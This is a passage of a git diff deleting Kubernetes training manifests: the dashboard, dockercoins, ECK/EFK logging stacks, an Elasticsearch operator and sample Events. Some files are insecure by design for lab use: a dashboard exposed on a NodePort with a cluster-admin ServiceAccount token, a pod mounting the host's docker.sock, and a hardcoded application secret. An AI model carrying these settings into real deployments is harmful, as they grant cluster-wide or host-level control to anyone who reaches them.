-        imagePullPolicy: IfNotPresent
-        livenessProbe:
-          httpGet:
-            path: /
-            port: 8000
-            scheme: HTTP
-          initialDelaySeconds: 30
-          timeoutSeconds: 30
-        name: dashboard-metrics-scraper
-        ports:
-        - containerPort: 8000
-          protocol: TCP
-        securityContext:
-          allowPrivilegeEscalation: false
-          readOnlyRootFilesystem: true
-          runAsGroup: 2001
-          runAsUser: 1001
-        volumeMounts:
-        - mountPath: /tmp
-          name: tmp-volume
-      securityContext:
-        seccompProfile:
-          type: RuntimeDefault
-      serviceAccountName: kubernetes-dashboard
-      volumes:
-      - name: kubernetes-dashboard-certs
-        secret:
-          secretName: kubernetes-dashboard-certs
-      - emptyDir: {}
-        name: tmp-volume

k8s/dashboard-with-token.yaml

@@ -1,355 +0,0 @@
-# This file was generated with the script ./update-dashboard-yaml.sh.
-#
----
-apiVersion: v1
-kind: Namespace
-metadata:
-  creationTimestamp: null
-  name: kubernetes-dashboard
-spec: {}
-status: {}
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
----
-apiVersion: v1
-kind: Secret
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-certs
-  namespace: kubernetes-dashboard
-type: Opaque
----
-apiVersion: v1
-kind: Secret
-metadata:
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-csrf
-  namespace: kubernetes-dashboard
-type: Opaque
----
-apiVersion: v1
-kind: Secret
-metadata:
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-key-holder
-  namespace: kubernetes-dashboard
-type: Opaque
----
-apiVersion: v1
-data: null
-kind: ConfigMap
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-settings
-  namespace: kubernetes-dashboard
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-metrics
-rules:
-- apiGroups:
-  - metrics.k8s.io
-  resources:
-  - pods
-  - nodes
-  verbs:
-  - get
-  - list
-  - watch
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-metrics
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: kubernetes-dashboard-metrics
-subjects:
-- kind: ServiceAccount
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-rules:
-- apiGroups:
-  - ""
-  resourceNames:
-  - kubernetes-dashboard-key-holder
-  - kubernetes-dashboard-certs
-  - kubernetes-dashboard-csrf
-  resources:
-  - secrets
-  verbs:
-  - get
-  - update
-  - delete
-- apiGroups:
-  - ""
-  resourceNames:
-  - kubernetes-dashboard-settings
-  resources:
-  - configmaps
-  verbs:
-  - get
-  - update
-- apiGroups:
-  - ""
-  resourceNames:
-  - heapster
-  - dashboard-metrics-scraper
-  resources:
-  - services
-  verbs:
-  - proxy
-- apiGroups:
-  - ""
-  resourceNames:
-  - heapster
-  - 'http:heapster:'
-  - 'https:heapster:'
-  - dashboard-metrics-scraper
-  - http:dashboard-metrics-scraper
-  resources:
-  - services/proxy
-  verbs:
-  - get
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: kubernetes-dashboard
-subjects:
-- kind: ServiceAccount
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
----
-apiVersion: v1
-kind: Service
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/component: kubernetes-dashboard
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-    kubernetes.io/cluster-service: "true"
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-spec:
-  ports:
-  - name: https
-    port: 443
-    targetPort: https
-  selector:
-    app.kubernetes.io/component: kubernetes-dashboard
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/name: kubernetes-dashboard
-  type: NodePort
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/component: kubernetes-dashboard
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app.kubernetes.io/component: kubernetes-dashboard
-      app.kubernetes.io/instance: kubernetes-dashboard
-      app.kubernetes.io/name: kubernetes-dashboard
-  strategy:
-    rollingUpdate:
-      maxSurge: 0
-      maxUnavailable: 1
-    type: RollingUpdate
-  template:
-    metadata:
-      annotations: null
-      labels:
-        app.kubernetes.io/component: kubernetes-dashboard
-        app.kubernetes.io/instance: kubernetes-dashboard
-        app.kubernetes.io/managed-by: Helm
-        app.kubernetes.io/name: kubernetes-dashboard
-        app.kubernetes.io/version: 2.7.0
-        helm.sh/chart: kubernetes-dashboard-6.0.0
-    spec:
-      containers:
-      - args:
-        - --namespace=kubernetes-dashboard
-        - --auto-generate-certificates
-        - --sidecar-host=http://127.0.0.1:8000
-        image: kubernetesui/dashboard:v2.7.0
-        imagePullPolicy: IfNotPresent
-        livenessProbe:
-          httpGet:
-            path: /
-            port: 8443
-            scheme: HTTPS
-          initialDelaySeconds: 30
-          timeoutSeconds: 30
-        name: kubernetes-dashboard
-        ports:
-        - containerPort: 8443
-          name: https
-          protocol: TCP
-        resources:
-          limits:
-            cpu: 2
-            memory: 200Mi
-          requests:
-            cpu: 100m
-            memory: 200Mi
-        securityContext:
-          allowPrivilegeEscalation: false
-          readOnlyRootFilesystem: true
-          runAsGroup: 2001
-          runAsUser: 1001
-        volumeMounts:
-        - mountPath: /certs
-          name: kubernetes-dashboard-certs
-        - mountPath: /tmp
-          name: tmp-volume
-      - image: kubernetesui/metrics-scraper:v1.0.8
-        imagePullPolicy: IfNotPresent
-        livenessProbe:
-          httpGet:
-            path: /
-            port: 8000
-            scheme: HTTP
-          initialDelaySeconds: 30
-          timeoutSeconds: 30
-        name: dashboard-metrics-scraper
-        ports:
-        - containerPort: 8000
-          protocol: TCP
-        securityContext:
-          allowPrivilegeEscalation: false
-          readOnlyRootFilesystem: true
-          runAsGroup: 2001
-          runAsUser: 1001
-        volumeMounts:
-        - mountPath: /tmp
-          name: tmp-volume
-      securityContext:
-        seccompProfile:
-          type: RuntimeDefault
-      serviceAccountName: kubernetes-dashboard
-      volumes:
-      - name: kubernetes-dashboard-certs
-        secret:
-          secretName: kubernetes-dashboard-certs
-      - emptyDir: {}
-        name: tmp-volume
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  creationTimestamp: null
-  name: kubernetes-dashboard:cluster-admin
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: cluster-admin
-subjects:
-- kind: ServiceAccount
-  name: cluster-admin
-  namespace: kubernetes-dashboard
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  creationTimestamp: null
-  name: cluster-admin
-  namespace: kubernetes-dashboard
----
-apiVersion: v1
-kind: Secret
-type: kubernetes.io/service-account-token
-metadata:
-  name: cluster-admin-token
-  namespace: kubernetes-dashboard
-  annotations:
-    kubernetes.io/service-account.name: cluster-admin

k8s/docker-build.yaml

@@ -1,28 +0,0 @@
-apiVersion: v1
-kind: Pod
-metadata:
-  name: build-image
-spec:
-  restartPolicy: OnFailure
-  containers:
-  - name: docker-build
-    image: docker
-    env:
-    - name: REGISTRY_PORT
-      value: #"30000"
-    command: ["sh", "-c"]
-    args:
-    - |
-      apk add --no-cache git &&
-      mkdir /workspace &&
-      git clone https://github.com/jpetazzo/container.training /workspace &&
-      docker build -t localhost:$REGISTRY_PORT/worker /workspace/dockercoins/worker &&
-      docker push localhost:$REGISTRY_PORT/worker
-    volumeMounts:
-    - name: docker-socket
-      mountPath: /var/run/docker.sock
-  volumes:
-  - name: docker-socket
-    hostPath:
-      path: /var/run/docker.sock
-

k8s/dockercoins.yaml

@@ -1,160 +0,0 @@
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: hasher
-  name: hasher
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: hasher
-  template:
-    metadata:
-      labels:
-        app: hasher
-    spec:
-      containers:
-      - image: dockercoins/hasher:v0.1
-        name: hasher
----
-apiVersion: v1
-kind: Service
-metadata:
-  labels:
-    app: hasher
-  name: hasher
-spec:
-  ports:
-  - port: 80
-    protocol: TCP
-    targetPort: 80
-  selector:
-    app: hasher
-  type: ClusterIP
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: redis
-  name: redis
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: redis
-  template:
-    metadata:
-      labels:
-        app: redis
-    spec:
-      containers:
-      - image: redis
-        name: redis
----
-apiVersion: v1
-kind: Service
-metadata:
-  labels:
-    app: redis
-  name: redis
-spec:
-  ports:
-  - port: 6379
-    protocol: TCP
-    targetPort: 6379
-  selector:
-    app: redis
-  type: ClusterIP
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: rng
-  name: rng
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: rng
-  template:
-    metadata:
-      labels:
-        app: rng
-    spec:
-      containers:
-      - image: dockercoins/rng:v0.1
-        name: rng
----
-apiVersion: v1
-kind: Service
-metadata:
-  labels:
-    app: rng
-  name: rng
-spec:
-  ports:
-  - port: 80
-    protocol: TCP
-    targetPort: 80
-  selector:
-    app: rng
-  type: ClusterIP
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: webui
-  name: webui
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: webui
-  template:
-    metadata:
-      labels:
-        app: webui
-    spec:
-      containers:
-      - image: dockercoins/webui:v0.1
-        name: webui
----
-apiVersion: v1
-kind: Service
-metadata:
-  labels:
-    app: webui
-  name: webui
-spec:
-  ports:
-  - port: 80
-    protocol: TCP
-    targetPort: 80
-  selector:
-    app: webui
-  type: NodePort
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: worker
-  name: worker
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: worker
-  template:
-    metadata:
-      labels:
-        app: worker
-    spec:
-      containers:
-      - image: dockercoins/worker:v0.1
-        name: worker

k8s/eck-cerebro.yaml

@@ -1,69 +0,0 @@
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: cerebro
-  name: cerebro
-spec:
-  selector:
-    matchLabels:
-      app: cerebro
-  template:
-    metadata:
-      labels:
-        app: cerebro
-    spec:
-      volumes:
-      - name: conf
-        configMap:
-          name: cerebro
-      containers:
-      - image: lmenezes/cerebro
-        name: cerebro
-        volumeMounts:
-        - name: conf
-          mountPath: /conf
-        args:
-        - -Dconfig.file=/conf/application.conf
-        env:
-        - name: ELASTICSEARCH_PASSWORD
-          valueFrom:       
-            secretKeyRef:      
-              name: demo-es-elastic-user
-              key: elastic
-
----
-apiVersion: v1
-kind: Service
-metadata:
-  labels:
-    app: cerebro
-  name: cerebro
-spec:
-  ports:
-  - port: 9000
-    protocol: TCP
-    targetPort: 9000
-  selector:
-    app: cerebro
-  type: NodePort
----
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: cerebro
-data:
-  application.conf: |
-    secret = "ki:s:[[@=Ag?QI`W2jMwkY:eqvrJ]JqoJyi2axj3ZvOv^/KavOT4ViJSv?6YY4[N"
-
-    hosts = [
-      {
-        host = "http://demo-es-http.eck-demo.svc.cluster.local:9200"
-        name = "demo"
-        auth = {
-          username = "elastic"
-          password = ${?ELASTICSEARCH_PASSWORD}
-        }
-      }
-    ]

k8s/eck-elasticsearch.yaml

@@ -1,19 +0,0 @@
-apiVersion: elasticsearch.k8s.elastic.co/v1
-kind: Elasticsearch
-metadata:
-  name: demo
-  namespace: eck-demo
-spec:
-  http:
-    tls:
-      selfSignedCertificate:
-        disabled: true
-  nodeSets:
-  - name: default
-    count: 1
-    config:
-      node.data: true
-      node.ingest: true
-      node.master: true
-      node.store.allow_mmap: false
-  version: 7.5.1

k8s/eck-filebeat.yaml

@@ -1,168 +0,0 @@
----
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: filebeat-config
-  namespace: eck-demo
-  labels:
-    k8s-app: filebeat
-data:
-  filebeat.yml: |-
-    filebeat.inputs:
-    - type: container
-      paths:
-        - /var/log/containers/*.log
-      processors:
-        - add_kubernetes_metadata:
-            host: ${NODE_NAME}
-            matchers:
-            - logs_path:
-                logs_path: "/var/log/containers/"
-
-    # To enable hints based autodiscover, remove `filebeat.inputs` configuration and uncomment this:
-    #filebeat.autodiscover:
-    #  providers:
-    #    - type: kubernetes
-    #      node: ${NODE_NAME}
-    #      hints.enabled: true
-    #      hints.default_config:
-    #        type: container
-    #        paths:
-    #          - /var/log/containers/*${data.kubernetes.container.id}.log
-
-    processors:
-      - add_cloud_metadata:
-      - add_host_metadata:
-
-    cloud.id: ${ELASTIC_CLOUD_ID}
-    cloud.auth: ${ELASTIC_CLOUD_AUTH}
-
-    output.elasticsearch:
-      hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
-      username: ${ELASTICSEARCH_USERNAME}
-      password: ${ELASTICSEARCH_PASSWORD}
----
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: filebeat
-  namespace: eck-demo
-  labels:
-    k8s-app: filebeat
-spec:
-  selector:
-    matchLabels:
-      k8s-app: filebeat
-  template:
-    metadata:
-      labels:
-        k8s-app: filebeat
-    spec:
-      serviceAccountName: filebeat
-      terminationGracePeriodSeconds: 30
-      hostNetwork: true
-      dnsPolicy: ClusterFirstWithHostNet
-      containers:
-      - name: filebeat
-        image: docker.elastic.co/beats/filebeat:7.5.1
-        args: [
-          "-c", "/etc/filebeat.yml",
-          "-e",
-        ]
-        env:
-        - name: ELASTICSEARCH_HOST
-          value: demo-es-http
-        - name: ELASTICSEARCH_PORT
-          value: "9200"
-        - name: ELASTICSEARCH_USERNAME
-          value: elastic
-        - name: ELASTICSEARCH_PASSWORD
-          valueFrom:
-            secretKeyRef:
-              name: demo-es-elastic-user
-              key: elastic
-        - name: ELASTIC_CLOUD_ID
-          value:
-        - name: ELASTIC_CLOUD_AUTH
-          value:
-        - name: NODE_NAME
-          valueFrom:
-            fieldRef:
-              fieldPath: spec.nodeName
-        securityContext:
-          runAsUser: 0
-          # If using Red Hat OpenShift uncomment this:
-          #privileged: true
-        resources:
-          limits:
-            memory: 200Mi
-          requests:
-            cpu: 100m
-            memory: 100Mi
-        volumeMounts:
-        - name: config
-          mountPath: /etc/filebeat.yml
-          readOnly: true
-          subPath: filebeat.yml
-        - name: data
-          mountPath: /usr/share/filebeat/data
-        - name: varlibdockercontainers
-          mountPath: /var/lib/docker/containers
-          readOnly: true
-        - name: varlog
-          mountPath: /var/log
-          readOnly: true
-      volumes:
-      - name: config
-        configMap:
-          defaultMode: 0600
-          name: filebeat-config
-      - name: varlibdockercontainers
-        hostPath:
-          path: /var/lib/docker/containers
-      - name: varlog
-        hostPath:
-          path: /var/log
-      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
-      - name: data
-        hostPath:
-          path: /var/lib/filebeat-data
-          type: DirectoryOrCreate
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: filebeat
-subjects:
-- kind: ServiceAccount
-  name: filebeat
-  namespace: eck-demo
-roleRef:
-  kind: ClusterRole
-  name: filebeat
-  apiGroup: rbac.authorization.k8s.io
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: filebeat
-  labels:
-    k8s-app: filebeat
-rules:
-- apiGroups: [""] # "" indicates the core API group
-  resources:
-  - namespaces
-  - pods
-  verbs:
-  - get
-  - watch
-  - list
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: filebeat
-  namespace: eck-demo
-  labels:
-    k8s-app: filebeat
----

k8s/eck-kibana.yaml

@@ -1,17 +0,0 @@
-apiVersion: kibana.k8s.elastic.co/v1
-kind: Kibana
-metadata:
-  name: demo
-spec:
-  version: 7.5.1
-  count: 1
-  elasticsearchRef:
-    name: demo
-    namespace: eck-demo
-  http:
-    service:
-      spec:
-        type: NodePort
-    tls:
-      selfSignedCertificate:
-        disabled: true

k8s/efk.yaml

@@ -1,176 +0,0 @@
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: fluentd
-  namespace: default
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: fluentd
-rules:
-- apiGroups:
-  - ""
-  resources:
-  - pods
-  - namespaces
-  verbs:
-  - get
-  - list
-  - watch
----
-kind: ClusterRoleBinding
-apiVersion: rbac.authorization.k8s.io/v1
-metadata:
-  name: fluentd
-roleRef:
-  kind: ClusterRole
-  name: fluentd
-  apiGroup: rbac.authorization.k8s.io
-subjects:
-- kind: ServiceAccount
-  name: fluentd
-  namespace: default
----
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: fluentd
-  namespace: default
-  labels:
-    app: fluentd
-spec:
-  selector:
-    matchLabels:
-      app: fluentd
-  template:
-    metadata:
-      labels:
-        app: fluentd
-    spec:
-      serviceAccount: fluentd
-      serviceAccountName: fluentd
-      tolerations:
-      - key: node-role.kubernetes.io/master
-        effect: NoSchedule
-      containers:
-      - name: fluentd
-        image: fluent/fluentd-kubernetes-daemonset:v1.4-debian-elasticsearch-1
-        env:
-          - name:  FLUENT_ELASTICSEARCH_HOST
-            value: "elasticsearch"
-          - name:  FLUENT_ELASTICSEARCH_PORT
-            value: "9200"
-          - name: FLUENT_ELASTICSEARCH_SCHEME
-            value: "http"
-          - name: FLUENT_UID
-            value: "0"
-          - name: FLUENTD_SYSTEMD_CONF
-            value: "disable"
-          - name: FLUENTD_PROMETHEUS_CONF
-            value: "disable"
-        resources:
-          limits:
-            memory: 200Mi
-          requests:
-            cpu: 100m
-            memory: 200Mi
-        volumeMounts:
-        - name: varlog
-          mountPath: /var/log
-        - name: varlibdockercontainers
-          mountPath: /var/lib/docker/containers
-          readOnly: true
-      terminationGracePeriodSeconds: 30
-      volumes:
-      - name: varlog
-        hostPath:
-          path: /var/log
-      - name: varlibdockercontainers
-        hostPath:
-          path: /var/lib/docker/containers
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: elasticsearch
-  name: elasticsearch
-  namespace: default
-spec:
-  selector:
-    matchLabels:
-      app: elasticsearch
-  template:
-    metadata:
-      labels:
-        app: elasticsearch
-    spec:
-      containers:
-      - image: elasticsearch:5
-        name: elasticsearch
-        resources:
-          limits:
-            memory: 2Gi
-          requests:
-            memory: 1Gi
-        env:
-        - name: ES_JAVA_OPTS
-          value: "-Xms1g -Xmx1g"
----
-apiVersion: v1
-kind: Service
-metadata:
-  labels:
-    app: elasticsearch
-  name: elasticsearch
-  namespace: default
-spec:
-  ports:
-  - port: 9200
-    protocol: TCP
-    targetPort: 9200
-  selector:
-    app: elasticsearch
-  type: ClusterIP
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: kibana
-  name: kibana
-  namespace: default
-spec:
-  selector:
-    matchLabels:
-      app: kibana
-  template:
-    metadata:
-      labels:
-        app: kibana
-    spec:
-      containers:
-      - env:
-        - name: ELASTICSEARCH_URL
-          value: http://elasticsearch:9200/
-        image: kibana:5
-        name: kibana
-        resources: {}
----
-apiVersion: v1
-kind: Service
-metadata:
-  labels:
-    app: kibana
-  name: kibana
-  namespace: default
-spec:
-  ports:
-  - port: 5601
-    protocol: TCP
-    targetPort: 5601
-  selector:
-    app: kibana
-  type: NodePort

k8s/elasticsearch-cluster.yaml

@@ -1,21 +0,0 @@
-apiVersion: enterprises.upmc.com/v1
-kind: ElasticsearchCluster
-metadata:
-  name: es
-spec:
-  kibana:
-    image: docker.elastic.co/kibana/kibana-oss:6.1.3
-    image-pull-policy: Always
-  cerebro:
-    image: upmcenterprises/cerebro:0.7.2
-    image-pull-policy: Always
-  elastic-search-image: upmcenterprises/docker-elasticsearch-kubernetes:6.1.3_0
-  image-pull-policy: Always
-  client-node-replicas: 2
-  master-node-replicas: 3
-  data-node-replicas: 3
-  network-host: 0.0.0.0
-  use-ssl: false
-  data-volume-size: 10Gi
-  java-options: "-Xms512m -Xmx512m"
-

k8s/elasticsearch-operator.yaml

@@ -1,97 +0,0 @@
-# This is mirrored from https://github.com/upmc-enterprises/elasticsearch-operator/blob/master/example/controller.yaml but using the elasticsearch-operator namespace instead of operator
----
-apiVersion: v1
-kind: Namespace
-metadata:
-  name: elasticsearch-operator
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: elasticsearch-operator
-rules:
-- apiGroups: ["extensions"]
-  resources: ["deployments", "replicasets", "daemonsets"]
-  verbs: ["create", "get", "update", "delete", "list"]
-- apiGroups: ["apiextensions.k8s.io"]
-  resources: ["customresourcedefinitions"]
-  verbs: ["create", "get", "update", "delete", "list"]
-- apiGroups: ["storage.k8s.io"]
-  resources: ["storageclasses"]
-  verbs: ["get", "list", "create", "delete", "deletecollection"]
-- apiGroups: [""]
-  resources: ["persistentvolumes", "persistentvolumeclaims", "services", "secrets", "configmaps"] 
-  verbs: ["create", "get", "update", "delete", "list"]
-- apiGroups: ["batch"]
-  resources: ["cronjobs", "jobs"]
-  verbs: ["create", "get", "deletecollection", "delete"]
-- apiGroups: [""]
-  resources: ["pods"]
-  verbs: ["list", "get", "watch"]
-- apiGroups: ["apps"]
-  resources: ["statefulsets", "deployments"]
-  verbs: ["*"]
-- apiGroups: ["enterprises.upmc.com"]
-  resources: ["elasticsearchclusters"]
-  verbs: ["*"]
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: elasticsearch-operator
-subjects:
-- kind: ServiceAccount
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      name: elasticsearch-operator
-  template:
-    metadata:
-      labels:
-        name: elasticsearch-operator
-    spec:
-      containers:
-      - name: operator
-        image: upmcenterprises/elasticsearch-operator:0.2.0
-        imagePullPolicy: Always
-        env:
-        - name: NAMESPACE
-          valueFrom:
-            fieldRef:
-              fieldPath: metadata.namespace
-        ports:
-        - containerPort: 8000
-          name: http
-        livenessProbe:
-          httpGet:
-            path: /live
-            port: 8000
-          initialDelaySeconds: 10
-          timeoutSeconds: 10
-        readinessProbe:
-          httpGet:
-            path: /ready
-            port: 8000
-          initialDelaySeconds: 10
-          timeoutSeconds: 5
-      serviceAccount: elasticsearch-operator

k8s/event-node.yaml

@@ -1,30 +0,0 @@
-kind: Event
-apiVersion: v1
-metadata:
-  generateName: hello-
-  labels:
-    container.training/test: ""
-
-#eventTime: "2020-07-04T00:00:00.000000Z"
-#firstTimestamp: "2020-01-01T00:00:00.000000Z"
-#lastTimestamp: "2020-12-31T00:00:00.000000Z"
-#count: 42
-
-involvedObject:
-  kind: Node
-  apiVersion: v1
-  name: kind-control-plane
-  # Note: the uid should be the Node name (not the uid of the Node).
-  # This might be specific to global objects.
-  uid: kind-control-plane
-
-type: Warning
-reason: NodeOverheat
-message: "Node temperature exceeds critical threshold"
-action: Hello
-source:
-  component: thermal-probe
-  #host: node1
-#reportingComponent: ""
-#reportingInstance: ""
-

k8s/event-pod.yaml

@@ -1,36 +0,0 @@
-kind: Event
-apiVersion: v1
-metadata:
-  # One convention is to use <objectname>.<timestamp>,
-  # where the timestamp is taken with a nanosecond
-  # precision and expressed in hexadecimal.
-  # Example: web-5dcb957ccc-fjvzc.164689730a36ec3d
-  name: hello.1234567890
-  # The label doesn't serve any purpose, except making
-  # it easier to identify or delete that specific event.
-  labels:
-    container.training/test: ""
-
-#eventTime: "2020-07-04T00:00:00.000000Z"
-#firstTimestamp: "2020-01-01T00:00:00.000000Z"
-#lastTimestamp: "2020-12-31T00:00:00.000000Z"
-#count: 42
-
-involvedObject:
-  ### These 5 lines should be updated to refer to an object.
-  ### Make sure to put the correct "uid", because it is what
-  ### "kubectl describe" is using to gather relevant events.
-  #apiVersion: v1
-  #kind: Pod
-  #name: magic-bean
-  #namespace: blue
-  #uid: 7f28fda8-6ef4-4580-8d87-b55721fcfc30
-
-type: Normal
-reason: BackupSuccessful
-message: "Object successfully dumped to gitops repository"
-source:
-  component: gitops-sync
-#reportingComponent: ""
-#reportingInstance: ""
-

k8s/filebeat.yaml

@@ -1,170 +0,0 @@
----
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: filebeat-config
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
-data:
-  filebeat.yml: |-
-    filebeat.config:
-      inputs:
-        # Mounted `filebeat-inputs` configmap:
-        path: ${path.config}/inputs.d/*.yml
-        # Reload inputs configs as they change:
-        reload.enabled: false
-      modules:
-        path: ${path.config}/modules.d/*.yml
-        # Reload module configs as they change:
-        reload.enabled: false
-
-    # To enable hints based autodiscover, remove `filebeat.config.inputs` configuration and uncomment this:
-    #filebeat.autodiscover:
-    #  providers:
-    #    - type: kubernetes
-    #      hints.enabled: true
-
-    processors:
-      - add_cloud_metadata:
-
-    cloud.id: ${ELASTIC_CLOUD_ID}
-    cloud.auth: ${ELASTIC_CLOUD_AUTH}
-
-    output.elasticsearch:
-      hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
-      username: ${ELASTICSEARCH_USERNAME}
-      password: ${ELASTICSEARCH_PASSWORD}
----
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: filebeat-inputs
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
-data:
-  kubernetes.yml: |-
-    - type: docker
-      containers.ids:
-      - "*"
-      processors:
-        - add_kubernetes_metadata:
-            in_cluster: true
----
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: filebeat
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
-spec:
-  selector:
-    matchLabels:
-      k8s-app: filebeat
-  template:
-    metadata:
-      labels:
-        k8s-app: filebeat
-    spec:
-      serviceAccountName: filebeat
-      terminationGracePeriodSeconds: 30
-      containers:
-      - name: filebeat
-        image: docker.elastic.co/beats/filebeat-oss:7.0.1
-        args: [
-          "-c", "/etc/filebeat.yml",
-          "-e",
-        ]
-        env:
-        - name: ELASTICSEARCH_HOST
-          value: elasticsearch-es.default.svc.cluster.local
-        - name: ELASTICSEARCH_PORT
